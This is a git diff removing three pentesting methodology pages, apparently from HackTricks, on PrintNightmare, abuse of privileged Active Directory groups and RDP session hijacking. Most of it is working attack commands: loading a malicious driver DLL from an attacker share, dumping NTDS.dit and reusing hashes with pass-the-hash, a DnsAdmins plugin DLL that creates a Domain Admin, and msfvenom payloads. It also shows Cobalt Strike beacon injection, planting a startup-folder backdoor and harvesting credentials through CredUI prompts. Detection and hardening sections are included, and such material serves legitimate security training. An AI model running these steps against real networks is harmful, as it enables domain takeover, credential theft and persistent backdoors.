-- [Microsoft – MS-EVEN: EventLog Remoting Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/55b13664-f739-4e4e-bd8d-04eeda59d09f)
-- [Microsoft – MS-EVEN: ElfrOpenBELW (Opnum 9)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/4db1601c-7bc2-4d5c-8375-c58a6f8fc7e1)
-- [p0dalirius – Coercer](https://github.com/p0dalirius/Coercer)
-- [p0dalirius – windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)
-- [PetitPotam (MS-EFSR)](https://github.com/topotam/PetitPotam)
-- [DFSCoerce (MS-DFSNM)](https://github.com/Wh04m1001/DFSCoerce)
-- [ShadowCoerce (MS-FSRVP)](https://github.com/ShutdownRepo/ShadowCoerce)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/printnightmare.md b/src/windows-hardening/active-directory-methodology/printnightmare.md
deleted file mode 100644
index 52d308aae2d..00000000000
--- a/src/windows-hardening/active-directory-methodology/printnightmare.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# PrintNightmare (Windows Print Spooler RCE/LPE)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-> PrintNightmare is the collective name given to a family of vulnerabilities in the Windows **Print Spooler** service that allow **arbitrary code execution as SYSTEM** and, when the spooler is reachable over RPC, **remote code execution (RCE) on domain controllers and file servers**. The most-widely exploited CVEs are **CVE-2021-1675** (initially classed as LPE) and **CVE-2021-34527** (full RCE). Subsequent issues such as **CVE-2021-34481 (“Point & Print”)** and **CVE-2022-21999 (“SpoolFool”)** prove that the attack surface is still far from closed.
-
----
-
-## 1. Vulnerable components & CVEs
-
-| Year | CVE | Short name | Primitive | Notes |
-|------|-----|------------|-----------|-------|
-|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Patched in June 2021 CU but bypassed by CVE-2021-34527|
-|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx allows authenticated users to load a driver DLL from a remote share|
-|2021|CVE-2021-34481|“Point & Print”|LPE|Unsigned driver installation by non-admin users|
-|2022|CVE-2022-21999|“SpoolFool”|LPE|Arbitrary directory creation → DLL planting – works after 2021 patches|
-
-All of them abuse one of the **MS-RPRN / MS-PAR RPC methods** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) or trust relationships inside **Point & Print**.
-
-## 2. Exploitation techniques
-
-### 2.1 Remote Domain Controller compromise (CVE-2021-34527)
-
-An authenticated but **non-privileged** domain user can run arbitrary DLLs as **NT AUTHORITY\SYSTEM** on a remote spooler (often the DC) by:
-
-```powershell
-# 1. Host malicious driver DLL on a share the victim can reach
-impacket-smbserver share ./evil_driver/ -smb2support
-
-# 2. Use a PoC to call RpcAddPrinterDriverEx
-python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
-       -f \
-       '\\attacker_IP\share\evil.dll'
-```
-
-Popular PoCs include **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) and Benjamin Delpy’s `misc::printnightmare / lsa::addsid` modules in **mimikatz**.
-
-### 2.2 Local privilege escalation (any supported Windows, 2021-2024)
-
-The same API can be called **locally** to load a driver from `C:\Windows\System32\spool\drivers\x64\3\` and achieve SYSTEM privileges:
-
-```powershell
-Import-Module .\Invoke-Nightmare.ps1
-Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
-```
-
-### 2.3 SpoolFool (CVE-2022-21999) – bypassing 2021 fixes
-
-Microsoft’s 2021 patches blocked remote driver loading but **did not harden directory permissions**. SpoolFool abuses the `SpoolDirectory` parameter to create an arbitrary directory under `C:\Windows\System32\spool\drivers\`, drops a payload DLL, and forces the spooler to load it:
-
-```powershell
-# Binary version (local exploit)
-SpoolFool.exe -dll add_user.dll
-
-# PowerShell wrapper
-Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
-```
-
-> The exploit works on fully-patched Windows 7 → Windows 11 and Server 2012R2 → 2022 before February 2022 updates 
-
----
-
-## 3. Detection & hunting
-
-* **Event Logs** – enable the *Microsoft-Windows-PrintService/Operational* and *Admin* channels and watch for **Event ID 808** “The print spooler failed to load a plug-in module” or for **RpcAddPrinterDriverEx** messages.
-* **Sysmon** – `Event ID 7` (Image loaded) or `11/23` (File write/delete) inside `C:\Windows\System32\spool\drivers\*` when the parent process is **spoolsv.exe**.
-* **Process lineage** – alerts whenever **spoolsv.exe** spawns `cmd.exe`, `rundll32.exe`, PowerShell or any unsigned binary .
-
-## 4. Mitigation & hardening
-
-1. **Patch!** – Apply the latest cumulative update on every Windows host that has the Print Spooler service installed.
-2. **Disable the spooler where it is not required**, especially on Domain Controllers:
-   ```powershell
-   Stop-Service Spooler -Force
-   Set-Service Spooler -StartupType Disabled
-   ```
-3. **Block remote connections** while still allowing local printing – Group Policy: `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`.
-4. **Restrict Point & Print** so only administrators can add drivers by setting the registry value:
-   ```cmd
-   reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
-           /v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
-   ```
-   Detailed guidance in Microsoft KB5005652 
-
----
-
-## 5. Related research / tools
-
-* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules  
-* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)  
-* SpoolFool exploit & write-up  
-* 0patch micropatches for SpoolFool and other spooler bugs  
-
----
-
-**More reading (external):** Check the 2024 walk-through blog post – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
-
-
-
-## References
-
-* Microsoft – *KB5005652: Manage new Point & Print default driver installation behavior*  
-  <https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
-* Oliver Lyak – *SpoolFool: CVE-2022-21999*  
-  <https://github.com/ly4k/SpoolFool>
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
deleted file mode 100644
index 580252c3713..00000000000
--- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
+++ /dev/null
@@ -1,384 +0,0 @@
-# Privileged Groups
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Well Known groups with administration privileges
-
-- **Administrators**
-- **Domain Admins**
-- **Enterprise Admins**
-
-## Account Operators
-
-This group is empowered to create accounts and groups that are not administrators on the domain. Additionally, it enables local login to the Domain Controller (DC).
-
-To identify the members of this group, the following command is executed:
-
-```bash
-Get-NetGroupMember -Identity "Account Operators" -Recurse
-```
-
-Adding new users is permitted, as well as local login to the DC.
-
-## AdminSDHolder group
-
-The **AdminSDHolder** group's Access Control List (ACL) is crucial as it sets permissions for all "protected groups" within Active Directory, including high-privilege groups. This mechanism ensures the security of these groups by preventing unauthorized modifications.
-
-An attacker could exploit this by modifying the **AdminSDHolder** group's ACL, granting full permissions to a standard user. This would effectively give that user full control over all protected groups. If this user's permissions are altered or removed, they would be automatically reinstated within an hour due to the system's design.
-
-Recent Windows Server documentation still treats several built-in operator groups as **protected** objects (`Account Operators`, `Backup Operators`, `Print Operators`, `Server Operators`, `Domain Admins`, `Enterprise Admins`, `Key Admins`, `Enterprise Key Admins`, etc.). The **SDProp** process runs on the **PDC Emulator** every 60 minutes by default, stamps `adminCount=1`, and disables inheritance on protected objects. This is useful both for persistence and for hunting stale privileged users that were removed from a protected group but still keep the non-inheriting ACL.
-
-Commands to review the members and modify permissions include:
-
-```bash
-Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
-Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
-Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
-```
-
-```powershell
-# Hunt users/groups that still have adminCount=1
-Get-ADObject -LDAPFilter '(adminCount=1)' -Properties adminCount,distinguishedName |
-  Select-Object distinguishedName
-```
-
-A script is available to expedite the restoration process: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
-
-For more details, visit [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
-
-## AD Recycle Bin
-
-Membership in this group allows for the reading of deleted Active Directory objects, which can reveal sensitive information:
-
-```bash
-Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
-```
-
-This is useful for **recovering previous privilege paths**. Deleted objects can still expose `lastKnownParent`, `memberOf`, `sIDHistory`, `adminCount`, old SPNs, or the DN of a deleted privileged group that can later be restored by another operator.
-
-```powershell
-Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects `
-  -Properties samAccountName,lastKnownParent,memberOf,sIDHistory,adminCount,servicePrincipalName |
-  Select-Object samAccountName,lastKnownParent,adminCount,sIDHistory,servicePrincipalName
-```
-
-### Domain Controller Access
-
-Access to files on the DC is restricted unless the user is part of the `Server Operators` group, which changes the level of access.
-
-### Privilege Escalation
-
-Using `PsService` or `sc` from Sysinternals, one can inspect and modify service permissions. The `Server Operators` group, for instance, has full control over certain services, allowing for the execution of arbitrary commands and privilege escalation:
-
-```cmd
-C:\> .\PsService.exe security AppReadiness
-```
-
-This command reveals that `Server Operators` have full access, enabling the manipulation of services for elevated privileges.
-
-## Backup Operators
-
-Membership in the `Backup Operators` group provides access to the `DC01` file system due to the `SeBackup` and `SeRestore` privileges. These privileges enable folder traversal, listing, and file copying capabilities, even without explicit permissions, using the `FILE_FLAG_BACKUP_SEMANTICS` flag. Utilizing specific scripts is necessary for this process.
-
-To list group members, execute:
-
-```bash
-Get-NetGroupMember -Identity "Backup Operators" -Recurse
-```
-
-### Local Attack
-
-To leverage these privileges locally, the following steps are employed:
-
-1. Import necessary libraries:
-
-```bash
-Import-Module .\SeBackupPrivilegeUtils.dll
-Import-Module .\SeBackupPrivilegeCmdLets.dll
-```
-
-2. Enable and verify `SeBackupPrivilege`:
-
-```bash
-Set-SeBackupPrivilege
-Get-SeBackupPrivilege
-```
-
-3. Access and copy files from restricted directories, for instance:
-
-```bash
-dir C:\Users\Administrator\
-Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
-```
-
-### AD Attack
-
-Direct access to the Domain Controller's file system allows for the theft of the `NTDS.dit` database, which contains all NTLM hashes for domain users and computers.
-
-#### Using diskshadow.exe
-
-1. Create a shadow copy of the `C` drive:
-
-```cmd
-diskshadow.exe
-set verbose on
-set metadata C:\Windows\Temp\meta.cab
-set context clientaccessible
-begin backup
-add volume C: alias cdrive
-create
-expose %cdrive% F:
-end backup
-exit
-```
-
-2. Copy `NTDS.dit` from the shadow copy:
-
-```cmd
-Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
-```
-
-Alternatively, use `robocopy` for file copying:
-
-```cmd
-robocopy /B F:\Windows\NTDS .\ntds ntds.dit
-```
-
-3. Extract `SYSTEM` and `SAM` for hash retrieval:
-
-```cmd
-reg save HKLM\SYSTEM SYSTEM.SAV
-reg save HKLM\SAM SAM.SAV
-```
-
-4. Retrieve all hashes from `NTDS.dit`:
-
-```shell-session
-secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
-```
-
-5. Post-extraction: Pass-the-Hash to DA
-
-```bash
-# Use the recovered Administrator NT hash to authenticate without the cleartext password
-netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
-
-# Or execute via SMB using an exec method
-netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
-```
-
-#### Using wbadmin.exe
-
-1. Set up NTFS filesystem for SMB server on attacker machine and cache SMB credentials on the target machine.
-2. Use `wbadmin.exe` for system backup and `NTDS.dit` extraction:
-   ```cmd
-   net use X: \\<AttackIP>\sharename /user:smbuser password
-   echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
-   wbadmin get versions
-   echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
-   ```
-
-For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
-
-## DnsAdmins
-
-Members of the **DnsAdmins** group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.
-
-To list members of the DnsAdmins group, use:
-
-```bash
-Get-NetGroupMember -Identity "DnsAdmins" -Recurse
-```
-
-### Execute arbitrary DLL (CVE‑2021‑40469)
-
-> [!NOTE]
-> This vulnerability allows for the execution of arbitrary code with SYSTEM privileges in the DNS service (usually inside the DCs). This issue was fixed in 2021.
-
-Members can make the DNS server load an arbitrary DLL (either locally or from a remote share) using commands such as:
-
-```bash
-dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
-dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
-An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
-
-# If dnscmd is not installed run from aprivileged PowerShell session:
-Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
-```
-
-```c
-// Modify DLL to add user
-DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
-{
-    system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
-    system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
-}
-```
-
-```bash
-// Generate DLL with msfvenom
-msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
-```
-
-Restarting the DNS service (which may require additional permissions) is necessary for the DLL to be loaded:
-
-```csharp
-sc.exe \\dc01 stop dns
-sc.exe \\dc01 start dns
-```
-
-For more details on this attack vector, refer to ired.team.
-
-#### Mimilib.dll
-
-It's also feasible to use mimilib.dll for command execution, modifying it to execute specific commands or reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
-
-### WPAD Record for MitM
-
-DnsAdmins can manipulate DNS records to perform Man-in-the-Middle (MitM) attacks by creating a WPAD record after disabling the global query block list. Tools like Responder or Inveigh can be used for spoofing and capturing network traffic.
-
-### Event Log Readers
-Members can access event logs, potentially finding sensitive information such as plaintext passwords or command execution details:
-
-```bash
-# Get members and search logs for sensitive information
-Get-NetGroupMember -Identity "Event Log Readers" -Recurse
-Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
-```
-
-## Exchange Windows Permissions
-
-This group can modify DACLs on the domain object, potentially granting DCSync privileges. Techniques for privilege escalation exploiting this group are detailed in Exchange-AD-Privesc GitHub repo.
-
-```bash
-# List members
-Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
-```
-
-If you can act as a member of this group, the classic abuse is to grant an attacker-controlled principal the replication rights needed for [DCSync](dcsync.md):
-
-```bash
-Add-DomainObjectAcl -TargetIdentity "DC=testlab,DC=local" -PrincipalIdentity attacker -Rights DCSync
-Get-ObjectAcl -DistinguishedName "DC=testlab,DC=local" -ResolveGUIDs | ?{$_.IdentityReference -match 'attacker'}
-```
-
-Historically, **PrivExchange** chained mailbox access, coerced Exchange authentication, and LDAP relay to land on this same primitive. Even where that relay path is mitigated, direct membership in `Exchange Windows Permissions` or control of an Exchange server remains a high-value route to domain replication rights.
-
-## Hyper-V Administrators
-
-Hyper-V Administrators have full access to Hyper-V, which can be exploited to gain control over virtualized Domain Controllers. This includes cloning live DCs and extracting NTLM hashes from the NTDS.dit file.
-
-### Exploitation Example
-
-The practical abuse is usually **offline access to DC disks/checkpoints** rather than old host-level LPE tricks. With access to the Hyper-V host, an operator can checkpoint or export a virtualized Domain Controller, mount the VHDX, and extract `NTDS.dit`, `SYSTEM`, and other secrets without touching LSASS inside the guest:
-
-```bash
-# Host-side enumeration
-Get-VM
-Get-VHD -VMId <vm-guid>
-
-# After exporting or checkpointing the DC, mount the disk read-only
-Mount-VHD -Path 'C:\HyperV\Virtual Hard Disks\DC01.vhdx' -ReadOnly
-```
-
-From there, reuse the `Backup Operators` workflow to copy `Windows\NTDS\ntds.dit` and the registry hives offline.
-
-## Group Policy Creators Owners	
-
-This group allows members to create Group Policies in the domain. However, its members can't apply group policies to users or group or edit existing GPOs.
-
-The important nuance is that the **creator becomes owner of the new GPO** and usually gets enough rights to edit it afterwards. That means this group is interesting when you can either:
-
-- create a malicious GPO and convince an admin to link it to a target OU/domain
-- edit a GPO you created that is already linked somewhere useful
-- abuse another delegated right that lets you link GPOs, while this group gives you the edit side
-
-Practical abuse normally means adding an **Immediate Task**, **startup script**, **local admin membership**, or **user rights assignment** change through SYSVOL-backed policy files.
-
-```bash
-# Example with SharpGPOAbuse: add an immediate task that executes as SYSTEM
-SharpGPOAbuse.exe --AddImmediateTask --TaskName "HT-Task" --Author TESTLAB\\Administrator --Command "cmd.exe" --Arguments "/c whoami > C:\\Windows\\Temp\\gpo.txt" --GPOName "Security Update"
-```
-
-If editing the GPO manually through `SYSVOL`, remember the change is not enough by itself: `versionNumber`, `GPT.ini`, and sometimes `gPCMachineExtensionNames` must also be updated or clients will ignore the policy refresh.
-
-## Organization Management
-
-In environments where **Microsoft Exchange** is deployed, a special group known as **Organization Management** holds significant capabilities. This group is privileged to **access the mailboxes of all domain users** and maintains **full control over the 'Microsoft Exchange Security Groups'** Organizational Unit (OU). This control includes the **`Exchange Windows Permissions`** group, which can be exploited for privilege escalation.
-
-### Privilege Exploitation and Commands
-
-#### Print Operators
-
-Members of the **Print Operators** group are endowed with several privileges, including the **`SeLoadDriverPrivilege`**, which allows them to **log on locally to a Domain Controller**, shut it down, and manage printers. To exploit these privileges, especially if **`SeLoadDriverPrivilege`** is not visible under an unelevated context, bypassing User Account Control (UAC) is necessary.
-
-To list the members of this group, the following PowerShell command is used:
-
-```bash
-Get-NetGroupMember -Identity "Print Operators" -Recurse
-```
-
-On Domain Controllers this group is dangerous because the default Domain Controller Policy grants **`SeLoadDriverPrivilege`** to `Print Operators`. If you reach an elevated token for a member of this group, you can enable the privilege and load a signed-but-vulnerable driver to jump to kernel/SYSTEM. For token handling details, check [Access Tokens](../windows-local-privilege-escalation/access-tokens.md).
-
-#### Remote Desktop Users
-
-This group's members are granted access to PCs via Remote Desktop Protocol (RDP). To enumerate these members, PowerShell commands are available:
-
-```bash
-Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
-Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
-```
-
-Further insights into exploiting RDP can be found in dedicated pentesting resources.
-
-#### Remote Management Users
-
-Members can access PCs over **Windows Remote Management (WinRM)**. Enumeration of these members is achieved through:
-
-```bash
-Get-NetGroupMember -Identity "Remote Management Users" -Recurse
-Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
-```
-
-For exploitation techniques related to **WinRM**, specific documentation should be consulted.
-
-#### Server Operators
-
-This group has permissions to perform various configurations on Domain Controllers, including backup and restore privileges, changing system time, and shutting down the system. To enumerate the members, the command provided is:
-
-```bash
-Get-NetGroupMember -Identity "Server Operators" -Recurse
-```
-
-On Domain Controllers, `Server Operators` commonly inherit enough rights to **reconfigure or start/stop services** and also receive `SeBackupPrivilege`/`SeRestorePrivilege` through the default DC policy. In practice, this makes them a bridge between **service-control abuse** and **NTDS extraction**:
-
-```cmd
-sc.exe \\dc01 query
-sc.exe \\dc01 qc <service>
-.\PsService.exe security <service>
-```
-
-If a service ACL gives this group change/start rights, point the service at an arbitrary command, start it as `LocalSystem`, and then restore the original `binPath`. If service control is locked down, fall back to the `Backup Operators` techniques above to copy `NTDS.dit`.
-
-## References <a href="#references" id="references"></a>
-
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
-- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
-- [https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory)
-- [https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--](https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--)
-- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
-- [http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/](http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
-- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
-- [https://rastamouse.me/2019/01/gpo-abuse-part-1/](https://rastamouse.me/2019/01/gpo-abuse-part-1/)
-- [https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13](https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13)
-- [https://github.com/tandasat/ExploitCapcom](https://github.com/tandasat/ExploitCapcom)
-- [https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp](https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp)
-- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
-- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
-- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
-- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
-- [https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)
-- [https://labs.withsecure.com/tools/sharpgpoabuse](https://labs.withsecure.com/tools/sharpgpoabuse)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
deleted file mode 100644
index dc12280f781..00000000000
--- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
+++ /dev/null
@@ -1,169 +0,0 @@
-# RDP Sessions Abuse
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## RDP Process Injection
-
-If the **external group** has **RDP access** to any **computer** in the current domain, an **attacker** could **compromise that computer and wait for him**.
-
-Once that user has accessed via RDP, the **attacker can pivot to that users session** and abuse its permissions in the external domain.
-
-```bash
-# Supposing the group "External Users" has RDP access in the current domain
-## lets find where they could access
-## The easiest way would be with bloodhound, but you could also run:
-Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
-#or
-Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
-
-# Then, compromise the listed machines, and wait til someone from the external domain logs in:
-net logons
-Logged on users at \\localhost:
-EXT\super.admin
-
-# With cobalt strike you could just inject a beacon inside of the RDP process
-beacon> ps
- PID   PPID  Name                         Arch  Session     User
- ---   ----  ----                         ----  -------     -----
- ...
- 4960  1012  rdpclip.exe                  x64   3           EXT\super.admin
-
-beacon> inject 4960 x64 tcp-local
-## From that beacon you can just run powerview modules interacting with the external domain as that user
-```
-
-Check **other ways to steal sessions with other tools** [**in this page.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
-
-## RDPInception
-
-If a user access via **RDP into a machine** where an **attacker** is **waiting** for him, the attacker will be able to **inject a beacon in the RDP session of the user** and if the **victim mounted his drive** when accessing via RDP, the **attacker could access it**.
-
-In this case you could just **compromise** the **victims** **original computer** by writing a **backdoor** in the **statup folder**.
-
-```bash
-# Wait til someone logs in:
-net logons
-Logged on users at \\localhost:
-EXT\super.admin
-
-# With cobalt strike you could just inject a beacon inside of the RDP process
-beacon> ps
- PID   PPID  Name                         Arch  Session     User
- ---   ----  ----                         ----  -------     -----
- ...
- 4960  1012  rdpclip.exe                  x64   3           EXT\super.admin
-
-beacon> inject 4960 x64 tcp-local
-
-# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
-## \\tsclient\c is the C: drive on the origin machine of the RDP session
-beacon> ls \\tsclient\c
-
- Size     Type    Last Modified         Name
- ----     ----    -------------         ----
-          dir     02/10/2021 04:11:30   $Recycle.Bin
-          dir     02/10/2021 03:23:44   Boot
-          dir     02/20/2021 10:15:23   Config.Msi
-          dir     10/18/2016 01:59:39   Documents and Settings
-          [...]
-
-# Upload backdoor to startup folder
-beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
-beacon> upload C:\Payloads\pivot.exe
-```
-
-## Shadow RDP
-
-If you are **local admin** on a host where the victim already has an **active RDP session**, you may be able to **view/control that desktop without stealing the password or dumping LSASS**.
-
-This depends on the **Remote Desktop Services shadowing** policy stored in:
-
-```text
-HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow
-```
-
-Interesting values:
-
-- `0`: Disabled
-- `1`: `EnableInputNotify` (control, user approval required)
-- `2`: `EnableInputNoNotify` (control, **no user approval**)
-- `3`: `EnableNoInputNotify` (view-only, user approval required)
-- `4`: `EnableNoInputNoNotify` (view-only, **no user approval**)
-
-```cmd
-:: Check the policy
-reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
-
-:: Enable interaction without consent
-reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
-
-:: Enumerate sessions and shadow the target one
-quser /server:<HOST>
-mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt
-```
-
-This is especially useful when a privileged user connected over RDP left an unlocked desktop, KeePass session, MMC console, browser session, or admin shell open.
-
-## Scheduled Tasks As Logged-On User
-
-If you are **local admin** and the target user is **currently logged on**, Task Scheduler can start code **as that user without their password**.
-
-This turns the victim's existing logon session into an execution primitive:
-
-```cmd
-schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
-schtasks /run /S <HOST> /TN "Updater"
-```
-
-Notes:
-
-- If the user is **not logged on**, Windows usually requires the password to create a task that runs as them.
-- If the user **is logged on**, the task can reuse the existing logon context.
-- This is a practical way to execute GUI actions or launch binaries inside the victim session without touching LSASS.
-
-## CredUI Prompt Abuse From the Victim Session
-
-Once you can execute **inside the victim's interactive desktop** (for example via **Shadow RDP** or **a scheduled task running as that user**), you can display a **real Windows credential prompt** using CredUI APIs and harvest credentials entered by the victim.
-
-Relevant APIs:
-
-- `CredUIPromptForWindowsCredentials`
-- `CredUnPackAuthenticationBuffer`
-
-Typical flow:
-
-1. Spawn a binary in the victim session.
-2. Display a domain-authentication prompt that matches the current domain branding.
-3. Unpack the returned auth buffer.
-4. Validate the provided credentials and optionally keep prompting until valid credentials are entered.
-
-This is useful for **on-host phishing** because the prompt is rendered by standard Windows APIs instead of a fake HTML form.
-
-## Requesting a PFX In the Victim Context
-
-The same **scheduled-task-as-user** primitive can be used to request a **certificate/PFX as the logged-on victim**. That certificate can later be used for **AD authentication** as that user, avoiding password theft entirely.
-
-High-level flow:
-
-1. Gain **local admin** on a host where the victim is logged on.
-2. Run enrollment/export logic as the victim using a **scheduled task**.
-3. Export the resulting **PFX**.
-4. Use the PFX for PKINIT / certificate-based AD authentication.
-
-See the AD CS pages for follow-up abuse:
-
-{{#ref}}
-ad-certificates/account-persistence.md
-{{#endref}}
-
-## References
-
-- [SensePost - From flat networks to locked up domains with tiering models](https://sensepost.com/blog/2026/from-flat-networks-to-locked-up-domains-with-tiering-models/)
-- [Microsoft - Remote Desktop shadow](https://learn.microsoft.com/windows/win32/termserv/remote-desktop-shadow)
-- [NetExec - Shadow RDP plugin PR #465](https://github.com/Pennyw0rth/NetExec/pull/465)
-- [NetExec - schtask_as module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/schtask_as.py)
